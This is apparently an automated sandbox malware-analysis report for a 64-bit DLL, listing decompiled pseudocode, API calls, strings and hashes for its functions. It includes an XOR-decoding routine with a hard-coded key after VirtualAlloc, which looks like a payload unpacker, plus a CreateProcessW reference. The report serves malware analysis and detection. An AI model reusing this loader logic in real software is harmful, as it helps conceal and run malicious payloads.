Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E00007FFE7FFE354F9510(intOrPtr __edx, long long __rcx, void* __rdx, long long _a8, intOrPtr _a16) {
				long long _v16;
				long long _v24;
				signed int _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _t35;
				signed int _t48;
				long long _t63;
				intOrPtr _t64;
				void* _t66;
				void* _t76;
				void* _t77;

				_a16 = __edx;
				_a8 = __rcx;
				_v24 = 0;
				_t63 = "*sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5";
				_v16 = _t63;
				_v32 = E00007FFE7FFE354E91B8(_t63, _t66, L"64", _t76, _t77);
				_v36 = E00007FFE7FFE354E91B8(_t63, _t66, L"4096", _t76, _t77);
				_t35 = E00007FFE7FFE354E91B8(_t63, _t66, L"8192", _t76, _t77);
				r9d = _v32;
				r8d = _v36 | _t35;
				VirtualAlloc(??, ??, ??, ??); // executed
				_v24 = _t63;
				if (_v24 != 0) goto 0x354f958f;
				goto 0x354f95f4;
				_v40 = 0;
				goto 0x354f95a3;
				_v40 = _v40 + 1;
				if (_v40 - _a16 >= 0) goto 0x354f95ef;
				_t64 = _v40;
				_v28 =  *(_a8 + _t64) & 0x000000ff;
				asm("cdq");
				_t48 = _v28 ^  *(_v16 + _t64) & 0x000000ff;
				 *(_v24 + _v40) = _t48;
				goto 0x354f9599;
				return _t48;
			}

0x7ffe354f9510
0x7ffe354f9514
0x7ffe354f951d
0x7ffe354f9526
0x7ffe354f952d
0x7ffe354f953e
0x7ffe354f954e
0x7ffe354f9559
0x7ffe354f956e
0x7ffe354f9571
0x7ffe354f9578
0x7ffe354f957e
0x7ffe354f9589
0x7ffe354f958d
0x7ffe354f958f
0x7ffe354f9597
0x7ffe354f959f
0x7ffe354f95ab
0x7ffe354f95ad
0x7ffe354f95bb
0x7ffe354f95c3
0x7ffe354f95de
0x7ffe354f95ea
0x7ffe354f95ed
0x7ffe354f95f8

APIs

VirtualAlloc.KERNELBASE ref: 00007FFE354F9578

Strings

*sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5, xrefs: 00007FFE354F9526
8192, xrefs: 00007FFE354F9552
4096, xrefs: 00007FFE354F9542

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: AllocVirtual
String ID: *sd<^MngnRgHP%Nlnz#_&tGXftD&<%Z?YkmM&U?jm?po)5$4096$8192
API String ID: 4275171209-3063897839
Opcode ID: 91190bfb5b736a4e483a359375091e0b2d421b3ba45f9d7b7fc30dabc440354d
Instruction ID: f936b98873075597672488b936e0d8d88cc0d93a057d34cf2fb070494cc4897e
Opcode Fuzzy Hash: 91190bfb5b736a4e483a359375091e0b2d421b3ba45f9d7b7fc30dabc440354d
Instruction Fuzzy Hash: 8D21093661C7828AD764CB19E49426ABBA1FBC8B54F401539F68EC3BA4DF3CD5419F00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E12B0 Relevance: 6.1, APIs: 4, Instructions: 51
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FFE7FFE354E12B0(signed int __eax, signed int __rcx, signed int __rdx, signed int _a8, signed int _a16, signed char _a24) {
				long long _v16;
				long long _v24;
				signed long long _v32;
				signed long long _v40;
				void* _t40;
				long long _t54;
				signed long long _t57;
				signed long long _t58;
				void* _t60;

				_a24 = r8b;
				_a16 = __rdx;
				_a8 = __rcx;
				_v40 = 0;
				if (_a8 != 0) goto 0x354e12de;
				goto 0x354e1397;
				_t42 = __eax % _a16;
				if (0xffffffff - _a8 >= 0) goto 0x354e12f8;
				E00007FFE7FFE354E4E7C(__eax % _a16, 0xffffffff - _a8, 0xffffffff, _t60);
				_v32 = _a8 * _a16;
				if ((_a24 & 0x000000ff) == 0) goto 0x354e137c;
				if (_v32 - 0x1000 < 0) goto 0x354e137c;
				_v24 = _v32 + 0x27;
				_t54 = _v32;
				if (_v24 - _t54 > 0) goto 0x354e133b;
				E00007FFE7FFE354E4E7C(_t42, _v24 - _t54, _t54, _t60);
				E00007FFE7FFE354E3D6C(_t54, _v24); // executed
				_v16 = _t54;
				E00007FFE7FFE354E9764();
				_t57 = _v16 + 0x00000027 & 0xffffffe0;
				_v40 = _t57;
				_t58 = _t57 * 0xffffffff;
				 *((long long*)(_v40 + _t58)) = _v16;
				goto 0x354e1392;
				_t40 = E00007FFE7FFE354E3D6C(_t58, _v32);
				_v40 = _t58;
				E00007FFE7FFE354E9764();
				return _t40;
			}

0x7ffe354e12b0
0x7ffe354e12b5
0x7ffe354e12ba
0x7ffe354e12c3
0x7ffe354e12d2
0x7ffe354e12d9
0x7ffe354e12e7
0x7ffe354e12f1
0x7ffe354e12f3
0x7ffe354e1303
0x7ffe354e130f
0x7ffe354e131a
0x7ffe354e1325
0x7ffe354e132a
0x7ffe354e1334
0x7ffe354e1336
0x7ffe354e1340
0x7ffe354e1345
0x7ffe354e134c
0x7ffe354e135a
0x7ffe354e135e
0x7ffe354e1368
0x7ffe354e1376
0x7ffe354e137a
0x7ffe354e1381
0x7ffe354e1386
0x7ffe354e138d
0x7ffe354e139b

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE354E12F3
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE354E1336
new.LIBCMT ref: 00007FFE354E1340

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: ff720ffcf4aede3f10a3f13f5346b42280883c8723ff7dc07c368008fd0d958a
Instruction ID: 21ff95fe31b31d07ac27bb5469cd84d6c56ad862d15762c019d6e292836ee427
Opcode Fuzzy Hash: ff720ffcf4aede3f10a3f13f5346b42280883c8723ff7dc07c368008fd0d958a
Instruction Fuzzy Hash: 85212F3291CB8681D6648B19E04432AFBA0FBC8BA4F111721F6EE46BF8DF2CD5509B04

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E2970 Relevance: 4.5, APIs: 3, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E00007FFE7FFE354E2970(void* __edx, void* __eflags, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed int _v16;
				char _v48;
				long long _v56;
				signed long long _v64;
				signed int _v72;
				void* _t35;
				void* _t37;
				signed long long _t39;
				signed long long _t40;
				signed long long _t61;

				_t37 = __eflags;
				_t36 = __edx;
				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				_v56 = 0xfffffffe;
				_t39 =  *0x3555e008; // 0x393f49ce3de2
				_t40 = _t39 ^ _t61;
				_v16 = _t40;
				_v72 = 0;
				E00007FFE7FFE354E1760(__edx,  &_v48);
				E00007FFE7FFE354E1490(_t40, _a16);
				_v64 = _t40;
				E00007FFE7FFE354E11A0(_a24);
				E00007FFE7FFE354E2CC0(__edx, _t37, _v64 + _t40,  &_v48, _v64 + _t40, __r8); // executed
				E00007FFE7FFE354E2E90( &_v48, _a16);
				E00007FFE7FFE354E2E60( &_v48, _a24);
				E00007FFE7FFE354E16A0(__edx, _v64 + _t40, _a8,  &_v48);
				_v72 = _v72 | 0x00000001;
				return E00007FFE7FFE354E3A70(E00007FFE7FFE354E1540( &_v48), _t35, _t36, _v16 ^ _t61);
			}

0x7ffe354e2970
0x7ffe354e2970
0x7ffe354e2970
0x7ffe354e2975
0x7ffe354e297a
0x7ffe354e2983
0x7ffe354e298c
0x7ffe354e2993
0x7ffe354e2996
0x7ffe354e299b
0x7ffe354e29a8
0x7ffe354e29b3
0x7ffe354e29b8
0x7ffe354e29c5
0x7ffe354e29dd
0x7ffe354e29ec
0x7ffe354e29fe
0x7ffe354e2a0d
0x7ffe354e2a19
0x7ffe354e2a3d

APIs

char_traits.LIBCPMTD ref: 00007FFE354E29C5
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E29EC
type_info::_name_internal_method.LIBCMTD ref: 00007FFE354E29FE

Part of subcall function 00007FFE354E16A0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E16BC

Part of subcall function 00007FFE354E1540: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E1567

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::EmptyQueue::StructuredWorktype_info::_name_internal_method$char_traits
String ID:
API String ID: 652137993-0
Opcode ID: 110c28662a49dc0ce0b420f88bf91af1763c08d6580e3a8db95f45a47403bc2f
Instruction ID: a58a2677735a51ff8176a1c8dec93d8bde5461e2e8009172f8850faa9d364563
Opcode Fuzzy Hash: 110c28662a49dc0ce0b420f88bf91af1763c08d6580e3a8db95f45a47403bc2f
Instruction Fuzzy Hash: 4A110832618A8282EA50EB14E49516EABA0FBC4B94F501622F6CF47BB9DF2CD1458B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E1B40 Relevance: 4.5, APIs: 3, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 45%

			E00007FFE7FFE354E1B40(void* __rax, long long __rcx, long long __rdx, long long __r8, long long _a8, long long _a16, long long _a24) {
				signed char _t23;

				_a24 = __r8;
				_a16 = __rdx;
				_a8 = __rcx;
				if ((E00007FFE7FFE354E2250(__rax, _a8, _a16) & 0x000000ff) == 0) goto 0x354e1b97;
				E00007FFE7FFE354E18F0(__rax, _a8);
				E00007FFE7FFE354E1BF0(_a16 - __rax, _a8, _a8, _a16 - __rax, _a24);
				goto 0x354e1be0;
				r8d = 0;
				_t23 = E00007FFE7FFE354E22B0(_t31, _a8, _a24); // executed
				if ((_t23 & 0x000000ff) == 0) goto 0x354e1bdb;
				E00007FFE7FFE354E18F0(_t31, _a8);
				E00007FFE7FFE354E11E0(_t31, _a16, _a24);
				return E00007FFE7FFE354E23A0(_t31, _a8, _a24);
			}

0x7ffe354e1b40
0x7ffe354e1b45
0x7ffe354e1b4a
0x7ffe354e1b67
0x7ffe354e1b6e
0x7ffe354e1b90
0x7ffe354e1b95
0x7ffe354e1b97
0x7ffe354e1ba4
0x7ffe354e1bae
0x7ffe354e1bb5
0x7ffe354e1bc7
0x7ffe354e1be4

APIs

Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E226B
Part of subcall function 00007FFE354E2250: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E227C

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1B6E

Part of subcall function 00007FFE354E18F0: Concurrency::details::WorkQueue::IsStructuredEmpty.LIBCMTD ref: 00007FFE354E18FE

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00007FFE354E1BB5
char_traits.LIBCPMTD ref: 00007FFE354E1BC7

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: Concurrency::details::Work$Base::ContextIdentityQueue$EmptyQueue::Structuredchar_traits
String ID:
API String ID: 872432861-0
Opcode ID: 7aa3d2372c1ca0d652da04669d2a978a39a877f23c15b1fa6cc72aa4e53f0d09
Instruction ID: c2d022c7e6fc672f1873cafcb8fa97b336a47a2e46e854f4ed4f1323568a6afc
Opcode Fuzzy Hash: 7aa3d2372c1ca0d652da04669d2a978a39a877f23c15b1fa6cc72aa4e53f0d09
Instruction Fuzzy Hash: 4A119D76A2CBC285DA449A56E49546FA760FBC5FC0F216036FE8F47B6ADE2CD4009A40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E3F18 Relevance: 4.5, APIs: 3, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00007FFE7FFE354E3F18(void* __ecx) {
				void* __rbx;
				void* _t12;
				void* _t17;
				void* _t18;
				void* _t19;
				void* _t20;

				_t2 =  ==  ? 1 :  *0x3555f1a0 & 0x000000ff;
				 *0x3555f1a0 =  ==  ? 1 :  *0x3555f1a0 & 0x000000ff;
				E00007FFE7FFE354E4760(1, _t12, _t17, _t18, _t19, _t20);
				if (E00007FFE7FFE354E6AC0() != 0) goto 0x354e3f47;
				goto 0x354e3f5b; // executed
				E00007FFE7FFE354EA844(_t17); // executed
				if (0 != 0) goto 0x354e3f59;
				E00007FFE7FFE354E6B1C(0);
				goto 0x354e3f43;
				return 1;
			}

0x7ffe354e3f2c
0x7ffe354e3f2f
0x7ffe354e3f35
0x7ffe354e3f41
0x7ffe354e3f45
0x7ffe354e3f47
0x7ffe354e3f4e
0x7ffe354e3f52
0x7ffe354e3f57
0x7ffe354e3f60

APIs

__isa_available_init.LIBCMT ref: 00007FFE354E3F35
__vcrt_initialize.LIBVCRUNTIME ref: 00007FFE354E3F3A

Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 00007FFE354E6AC4
Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 00007FFE354E6AC9
Part of subcall function 00007FFE354E6AC0: __vcrt_initialize_locks.LIBVCRUNTIME ref: 00007FFE354E6ACE

__vcrt_uninitialize.LIBVCRUNTIME ref: 00007FFE354E3F52

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: __isa_available_init__vcrt_initialize__vcrt_initialize_locks__vcrt_initialize_pure_virtual_call_handler__vcrt_initialize_winapi_thunks__vcrt_uninitialize
String ID:
API String ID: 3388242289-0
Opcode ID: 5d9032b98b00912ce65cde94096c8696e72d1c768cb864a179bbf2be0d6f6683
Instruction ID: 02842c8998c0562d1007ef4e227ff0331310330589f0a2600868e79cd5244e5a
Opcode Fuzzy Hash: 5d9032b98b00912ce65cde94096c8696e72d1c768cb864a179bbf2be0d6f6683
Instruction Fuzzy Hash: 1BE06D70D0C34354FE1D2631200A2B51E600F96F00F6224B8D89F823A39D0D745975A0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354F3F70 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354F3F70() {
				long long _v24;
				long long _t5;
				intOrPtr _t7;

				_v24 = 0;
				_t7 =  *0x3555fdd8; // 0x180000000
				E00007FFE7FFE354F9600(_t5, "fx", _t7, "DllRegisterServer");
				_v24 = _t5;
				ExitProcess(??);
			}

0x7ffe354f3f74
0x7ffe354f3f84
0x7ffe354f3f92
0x7ffe354f3f97
0x7ffe354f3f9c

APIs

ExitProcess.KERNEL32 ref: 00007FFE354F3F9C

Strings

DllRegisterServer, xrefs: 00007FFE354F3F7D

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ExitProcess
String ID: DllRegisterServer
API String ID: 621844428-1663957109
Opcode ID: daa4509797ac003af5991cc102a2f8bbc2bd6225bef9e83475646ccea547d58a
Instruction ID: 73e58009b2a713013c57607dfb60eda73817cd33d7665a091cda0e008fa675eb
Opcode Fuzzy Hash: daa4509797ac003af5991cc102a2f8bbc2bd6225bef9e83475646ccea547d58a
Instruction Fuzzy Hash: 4DD01775908B83A1E6209B90E80939A27B0BF88F08F800531D58D86374DF3CE20ADB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EDEA8 Relevance: 3.1, APIs: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FFE7FFE354EDEA8(void* __ecx, long long __rbx, long long __rdi, long long __rsi, long long __rbp, void* _a8, void* _a16, void* _a24, void* _a32) {
				signed char _t53;
				signed int _t54;
				void* _t73;
				long long _t77;
				intOrPtr _t78;
				void* _t95;
				long _t98;

				_t73 = _t95;
				 *((long long*)(_t73 + 8)) = __rbx;
				 *((long long*)(_t73 + 0x10)) = __rbp;
				 *((long long*)(_t73 + 0x18)) = __rsi;
				 *((long long*)(_t73 + 0x20)) = __rdi;
				r14d = 0;
				_t77 =  *((intOrPtr*)(0x7ffe3555f968)) + 2;
				if (_t77 - 1 <= 0) goto 0x354edefb;
				 *0x7FFE3555F978 =  *0x7FFE3555F978 | 0x00000080;
				goto 0x354edf86;
				 *0x7FFE3555F978 = 0x81;
				if (0 == 0) goto 0x354edf1c;
				if (0 == 0) goto 0x354edf15;
				goto 0x354edf21;
				goto 0x354edf21;
				GetStdHandle(_t98);
				_t21 = _t77 + 1; // 0x1
				if (_t21 - 1 <= 0) goto 0x354edf61;
				_t53 = GetFileType(??); // executed
				if (_t53 == 0) goto 0x354edf61;
				_t54 = _t53 & 0x000000ff;
				 *((long long*)(0x7ffe3555f968)) = _t77;
				if (_t54 != 2) goto 0x354edf55;
				 *0x7FFE3555F978 =  *0x7FFE3555F978 | 0x00000040;
				goto 0x354edf86;
				if (_t54 != 3) goto 0x354edf86;
				 *0x7FFE3555F978 =  *0x7FFE3555F978 | 0x00000008;
				goto 0x354edf86;
				 *0x7FFE3555F978 =  *0x7FFE3555F978 | 0x00000040;
				 *((long long*)( *0x7FFE3B2CD6A8 + 0x28)) = 0xfffffffe;
				_t78 =  *0x3555fd78; // 0x0
				if (_t78 == 0) goto 0x354edf86;
				 *((intOrPtr*)( *((intOrPtr*)(_t98 + _t78)) + 0x18)) = 0xfffffffe;
				if (1 != 3) goto 0x354edec6;
				return _t54;
			}

0x7ffe354edea8
0x7ffe354edeab
0x7ffe354edeaf
0x7ffe354edeb3
0x7ffe354edeb7
0x7ffe354edec3
0x7ffe354edee7
0x7ffe354edeef
0x7ffe354edef1
0x7ffe354edef6
0x7ffe354edefb
0x7ffe354edf04
0x7ffe354edf09
0x7ffe354edf13
0x7ffe354edf1a
0x7ffe354edf21
0x7ffe354edf2a
0x7ffe354edf32
0x7ffe354edf37
0x7ffe354edf3f
0x7ffe354edf41
0x7ffe354edf44
0x7ffe354edf4c
0x7ffe354edf4e
0x7ffe354edf53
0x7ffe354edf58
0x7ffe354edf5a
0x7ffe354edf5f
0x7ffe354edf61
0x7ffe354edf66
0x7ffe354edf6f
0x7ffe354edf79
0x7ffe354edf7f
0x7ffe354edf8f
0x7ffe354edfaf

APIs

GetStdHandle.KERNEL32 ref: 00007FFE354EDF21
GetFileType.KERNELBASE ref: 00007FFE354EDF37

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: 8195fa56953df887960c625c907aa558cd447f31b22e017c21e87f709c57afde
Instruction ID: f5ba8b61e9aa197a1357ee7b8eeb34bb3e54adce8faa9d6aecb3e9513b1bd189
Opcode Fuzzy Hash: 8195fa56953df887960c625c907aa558cd447f31b22e017c21e87f709c57afde
Instruction Fuzzy Hash: E9316F35A18B4791EB688B1495881786E50FB85FA0B7A0739EB6F473F4CF38E451E341

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354EA9DC Relevance: 3.0, APIs: 2, Instructions: 19
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E00007FFE7FFE354EA9DC(intOrPtr* __rax, void* __rcx) {
				int _t1;
				intOrPtr _t3;
				void* _t4;
				void* _t11;
				intOrPtr _t14;

				if (__rcx == 0) goto 0x354eaa17;
				_t14 =  *0x3555f930; // 0x272fdc80000, executed
				_t1 = HeapFree(_t11, ??); // executed
				if (_t1 != 0) goto 0x354eaa12;
				_t3 = E00007FFE7FFE354EB34C(GetLastError(), __rax, _t14, __rcx);
				_t4 = E00007FFE7FFE354EB420(__rax);
				 *__rax = _t3;
				return _t4;
			}

0x7ffe354ea9df
0x7ffe354ea9eb
0x7ffe354ea9f2
0x7ffe354ea9fa
0x7ffe354eaa04
0x7ffe354eaa0b
0x7ffe354eaa10
0x7ffe354eaa17

APIs

RtlReleasePrivilege.NTDLL(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9F2
GetLastError.KERNEL32(?,?,00000000,00007FFE354EF492,?,?,?,00007FFE354EF4CF,?,?,00000000,00007FFE354EF144,?,?,?,00007FFE354EF077), ref: 00007FFE354EA9FC

Memory Dump Source

Source File: 00000000.00000002.263595483.00007FFE354E1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFE354E0000, based on PE: true

Associated: 00000000.00000002.263589078.00007FFE354E0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.263657024.00007FFE35518000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264195065.00007FFE3555E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264202979.00007FFE35562000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264209630.00007FFE35565000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.264217581.00007FFE35567000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffe354e0000_loaddll64.jbxd

Similarity

API ID: ErrorLastPrivilegeRelease
String ID:
API String ID: 1334314998-0
Opcode ID: 1178260e8bffcb175f16ce8929f72affff1d2575aebcf493ec367cb625912061
Instruction ID: ddfd35457c506c45aca26fd8b6864edfc24f7a9ff2fcec35fea4d198badeed21
Opcode Fuzzy Hash: 1178260e8bffcb175f16ce8929f72affff1d2575aebcf493ec367cb625912061
Instruction Fuzzy Hash: 66E046A5E0A703A2FE1C6BB2684E03829A25F94F00F514034CC0A823B2EE2CA8456204

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800284B0 Relevance: 1.6, APIs: 1, Instructions: 121processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE ref: 000000018002867E

Memory Dump Source

Source File: 00000000.00000002.263263050.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction ID: b9dfd44ec2654d149dbfc67a3d285e1c446cc2681133f70a5a1c8efdf6c35088
Opcode Fuzzy Hash: 16f61cbd6d489d93c3999831aad5c05b50de217028ac9f2dcc58791474f8e422
Instruction Fuzzy Hash: 59415D7090C7848FE7B8DF18D48979ABBE0FB88315F108A1EE48DC7291DB349448CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00007FFE354E22B0 Relevance: 1.6, APIs: 1, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 50%

			E00007FFE7FFE354E22B0(long long __rax, long long __rcx, long long __rdx, long long _a8, long long _a16, signed char _a24) {
				long long _v16;
				signed char _v24;
				intOrPtr* _t48;
				intOrPtr* _t50;

				_t48 = __rax;
				_a24 = r8b;
				_a16 = __rdx;
				_a8 = __rcx;
				E00007FFE7FFE354E2830(__rax, _a8);
				if (_t48 - _a16 >= 0) goto 0x354e22de;
				E00007FFE7FFE354E2230(_a8);
				E00007FFE7FFE354E2150(_t48, _a8);
				if ( *_t48 - _a16 >= 0) goto 0x354e2310;
				E00007FFE7FFE354E2170(_t48, _a8);
				E00007FFE7FFE354E2600(_a8, _a16,  *_t48); // executed
				goto 0x354e237a;
				if ((_a24 & 0x000000ff) == 0) goto 0x354e2366;
				if (_a16 - 0x10 >= 0) goto 0x354e2366;
				E00007FFE7FFE354E2170(_t48, _a8);
				if (_a16 -  *_t48 >= 0) goto 0x354e2341;
				_t50 = _a16;
				_v16 = _t50;
				goto 0x354e2353;
				E00007FFE7FFE354E2170(_t50, _a8);
				_v16 =  *_t50;
				E00007FFE7FFE354E1910(1,  *_t50, _a8, _v16);
				goto 0x354e237a;
				if (_a16 != 0) goto 0x354e237a;
				E00007FFE7FFE354E23A0( *_t50, _a8, _a16);
				if (_a16 <= 0) goto 0x354e238c;
				_v24 = 1;
				goto 0x354e2394;
				_v24 = 0;
